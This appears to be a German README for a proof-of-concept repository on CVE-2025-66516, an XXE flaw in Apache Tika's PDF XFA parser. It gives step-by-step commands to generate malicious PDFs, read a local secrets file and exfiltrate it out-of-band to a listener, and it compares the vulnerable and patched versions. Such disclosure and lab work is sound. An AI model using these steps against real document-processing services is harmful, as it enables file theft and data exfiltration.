
Ein POC für die CVE-2025-66516 Apache Tika Vulnerability nur zu Bildungszwecken
Nur zu Bildungs-/Autorisierten Testzwecken | Lizenz | Sicherheitsrichtlinie
Dieses Repository enthält einen Proof-of-Concept (POC)-Exploit für CVE-2025-66516, eine XML External Entity (XXE)-Injection-Schwachstelle in Apache Tika Versionen vor 3.2.2. Die Schwachstelle betrifft den XFA (XML Forms Architecture)-Parser in der Komponente tika-parser-pdf-module und ermöglicht es Angreifern, lokale Dateien zu lesen und sensible Daten durch böswillig erstellte PDF-Dokumente zu exfiltrieren.
CVE-2025-66516 ist eine kritische Sicherheitslücke in der PDF-Parsing-Funktionalität von Apache Tika. Bei der Verarbeitung von PDF-Dateien mit eingebetteten XFA-Formularen schalten Tika-Versionen vor 3.2.2 die externe Entity-Verarbeitung in XML-Parsern nicht richtig ein. Dies ermöglicht Angreifern Folgendes:
Dieses Repository enthält:
Apache Tika XXE, CVE-2025-66516 Exploit, Tika Sicherheitslücke, XML External Entity Angriff, PDF XXE Injection, Tika 3.2.1 Schwachstelle, Out-of-Band XXE, OOB XXE, Sicherheitsforschung, Penetrationstest, POC Exploit, Offenlegung von Schwachstellen, XFA Parser Schwachstelle, tika-parser-pdf-module, Datei-Offenlegung, Datenexfiltration, SSRF Angriff, sicheres Codieren, Schwachstellenanalyse, Sicherheitstests, ethisches Hacken, Infosec, Cybersicherheitsforschung, Apache Tika Exploit-Code, XXE Payload, PDF Sicherheit, Dokumentenparser Schwachstelle
Hinweis: Dieser POC wurde getestet und verifiziert auf:
Erstellen Sie zunächst ein dediziertes Verzeichnis für den POC, um alle Dateien organisiert zu halten.
mkdir apache_tika_poc
cd apache_tika_poc
Überprüfen Sie vor dem Fortfahren mit dem POC, ob Ihre Umgebung die erforderlichen Abhängigkeiten enthält. Diese Befehle zeigen Ihre Java-Compiler/Laufzeitversionen und OS-Details an, die für die Reproduktion der Schwachstelle wichtig sind.
# Java-Version prüfen
java -version
javac -version
# OS-Version prüfen
lsb_release -a
Erwartete Ausgabe: Sie sollten Java-Versionsinformationen (z. B. OpenJDK 17.x.x) und Ubuntu-Versionsdetails (24.04.3 LTS) sehen.
Laden Sie sowohl die anfällige (3.2.1) als auch die gepatchte (3.2.2) Version von Apache Tika herunter. Wir benötigen beide Versionen, um zu demonstrieren, dass die XXE-Schwachstelle in 3.2.1 existiert und in 3.2.2 behoben ist. Das tika-app JAR ist eine All-in-One ausführbare Datei, die alle Tika-Parser und Abhängigkeiten enthält.
# Anfällige Tika-Version herunterladen
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar
# Gepatchte Tika-Version herunterladen
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar
Erwartete Ausgabe: Zwei JAR-Dateien werden heruntergeladen - tika-app-3.2.1.jar (~75 MB) und tika-app-3.2.2.jar (~75 MB).
Überprüfen Sie die genauen Versionen durch Einsicht in die JAR-Manifestdateien. Dies bestätigt, dass wir die korrekten anfälligen und gepatchten Versionen vor dem Testen haben.
# Manifest der anfälligen Version prüfen
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF
# Manifest der gepatchten Version prüfen
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF
Erwartete Ausgabe: Manifest-Dateien, die Implementation-Version: 3.2.1 bzw. 3.2.2 zusammen mit Build-Zeitstempeln und anderen Metadaten anzeigen.
Wenn wir uns die Project Object Models (Mavens POM-Eigenschaften definieren die Abhängigkeiten, Build-Konfiguration und Metadaten eines Projekts) ansehen, sehen wir, dass es keine separaten tika-parsers gibt, wie in den Sicherheitshinweisen erwähnt – könnte versionsabhängig sein, und die Annahme ist, dass in den Versionen 3.2.1 und 3.2.2, die Teil des POC sind, das tika-parsers-Modul durch einzelne Parser-Module ersetzt wurde.
# Alle pom.properties-Dateien der Komponenten für beide Versionen auflisten
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika
Erwartete Ausgabe: Eine Liste aller Tika-Komponentenmodule einschließlich tika-core, tika-parser-pdf-module, tika-xmp usw. Sie werden einzelne Parser-Module anstelle eines einzelnen tika-parsers-Moduls bemerken.
Extrahieren und anzeigen der Versionsinformationen für Kern-Tika-Komponenten. Dies hilft uns, die interne Modulstruktur zu verstehen und zu bestätigen, dass sowohl die Kernbibliothek als auch das PDF-Parser-Modul die erwarteten Versionen haben.
# tika-core, tika-parser-pdf-module und tika-app Versionen für 3.2.1 prüfen
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
# tika-core, tika-parser-pdf-module und tika-app Versionen für 3.2.2 prüfen
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
Erwartete Ausgabe: POM-Eigenschaften, die version=3.2.1 oder version=3.2.2 für jede Komponente anzeigen, getrennt durch ---. Alle drei Komponenten (tika-core, tika-parser-pdf-module, tika-app) sollten mit der Gesamtversion übereinstimmen.
Erstellen Sie eine gefälschte Geheimnisdatei, die das Ziel unseres XXE-Angriffs sein wird. Diese Datei simuliert sensible Daten (wie API-Schlüssel oder Anmeldeinformationen), die ein Angreifer durch die XXE-Schwachstelle zu exfiltrieren versuchen könnte.
# Ziel-Geheimnisdatei erstellen
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt
Erwartete Ausgabe: Eine Datei namens fake-secrets.txt mit dem Inhalt INTERNAL_SERVER_KEY=EXPOSED. Diese wird vom XXE-Exploit gelesen.
Um den Fix zu verstehen, müssen wir die Klasse XMLReaderUtils aus beiden Versionen dekompilieren und vergleichen. Diese Klasse ist für die Erstellung von XML-Parsern verantwortlich, und die Schwachstelle resultiert daraus, wie sie die XML-Entity-Verarbeitung konfiguriert.
# Anfälliges JAR zur Analyse extrahieren
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..
# Gepatchtes JAR zur Analyse extrahieren
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..
# Anfällige Klasse dekompilieren
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..
# Gepatchte Klasse dekompilieren
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..
# Versionen vergleichen
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt
Erwartete Ausgabe: Die Extraktion erstellt zwei Verzeichnisse mit dekompilierten Klassendateien. Der javap-Befehl erzeugt Bytecode-Disassembly der Klasse XMLReaderUtils. Der diff-Befehl zeigt Unterschiede in der Konfiguration des XML-Parsers zwischen den Versionen.
Wenn wir genau vergleichen, finden wir, dass jegliche Doctype-Definition (DTD) und Unterstützung für externe Entities in 3.2.2 deaktiviert ist – das ist der Kern des Fixes:
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"
Erwartete Ausgabe: Sie werden eine Diff-Ausgabe sehen, die zeigt, dass Version 3.2.2 Aufrufe hinzufügt, um die DTD-Verarbeitung und Auflösung externer Entities zu deaktivieren. Achten Sie auf Zeilen, die accessExternalDTD auf leeren String setzen und supportDTD auf false setzen.
Dies demonstriert den klassischen XXE-Angriff, bei dem ein bösartiges PDF eine lokale Datei vom Server-Dateisystem liest. Das Python-Skript generiert ein PDF mit einem eingebetteten XFA-Formular, das XML mit einem XXE-Payload enthält, der auf file:///fake-secrets.txt verweist.
# Bösartiges PDF generieren
python3 ./gen_poc.py
# Mit anfälligem Tika 3.2.1 testen
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf
# Mit gepatchtem Tika 3.2.2 testen
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf
Erwartete Ausgabe:
gen_poc.py erstellt cve_2025_66516_poc.pdf mit dem XXE-PayloadINTERNAL_SERVER_KEY=EXPOSED enthalten – den Inhalt der Geheimnisdatei!Dies demonstriert einen ausgefeilteren XXE-Angriff mittels Out-of-Band (OOB)-Datenexfiltration. Anstatt den Dateiinhalt in der Antwort widerzuspiegeln, zwingt das bösartige PDF Tika, die Daten an einen externen Server zu senden, der vom Angreifer kontrolliert wird. Diese Technik funktioniert auch dann, wenn die Anwendung den geparsten Inhalt nicht zurückgibt.
# Out-of-Band XXE PDF generieren
python3 ./gen_oob_poc.py
# HTTP-Listener starten (in separatem Terminal)
python3 ./http_listener.py
# OOB XXE mit anfälligem Tika 3.2.1 testen
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf
# OOB XXE mit gepatchtem Tika 3.2.2 testen
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf
Erwartete Ausgabe:
gen_oob_poc.py erstellt cve-2025-66516_OOB_XXE.pdf mit OOB-XXE-Payloadhttp_listener.py startet einen Server auf Port 8888 und wartet auf eingehende Anfragen/evil.dtd (externer DTD-Abruf)/exfil?data=INTERNAL_SERVER_KEY=EXPOSED (Datenexfiltration)Dies testet die Schwachstelle in einem realistischeren Szenario, in dem Tika als Bibliothek innerhalb einer Java-Anwendung verwendet wird (nicht nur das Kommandozeilen-Tool). Der Code DocumentProcessor.java simuliert, wie eine typische Anwendung Tika zur Dokumentenanalyse integrieren könnte.
# Mit anfälligem Tika kompilieren
javac -cp tika-app-3.2.1.jar DocumentProcessor.java
# Mit anfälligem Tika ausführen
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
# Mit gepatchtem Tika kompilieren
javac -cp tika-app-3.2.2.jar DocumentProcessor.java
# Mit gepatchtem Tika ausführen
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
Erwartete Ausgabe:
Document processed successfully!
Content extracted: [Text mit INTERNAL_SERVER_KEY=EXPOSED]
⚠️ SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
Document processed successfully!
Content extracted: [Text OHNE geheime Daten]
✓ No XXE vulnerability detected.
Entfernen Sie temporäre Verzeichnisse und Dateien, die während der Analysephase erstellt wurden, um den Arbeitsbereich sauber zu halten.
# Extraktionsverzeichnisse entfernen
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt
Erwartete Ausgabe: Die Verzeichnisse und dekompilierten Textdateien werden entfernt. Es wird keine Ausgabe angezeigt, es sei denn, es liegt ein Fehler vor.
Wenn Sie Sicherheitslücken entdecken, melden Sie diese bitte verantwortungsvoll:
apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration ssrf oob-xxe file-disclosure secure-coding vulnerability-analysis security-testing exploit-development red-team blue-team appsec document-parsing java-security
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
Nur zu Bildungszwecken – Dieser POC ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bestimmt. Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine Testberechtigung haben, ist illegal.
Beiträge zur Verbesserung dieses POC oder der Dokumentation sind willkommen! Bitte stellen Sie sicher, dass alle Beiträge:
Zuletzt aktualisiert: Dezember 2025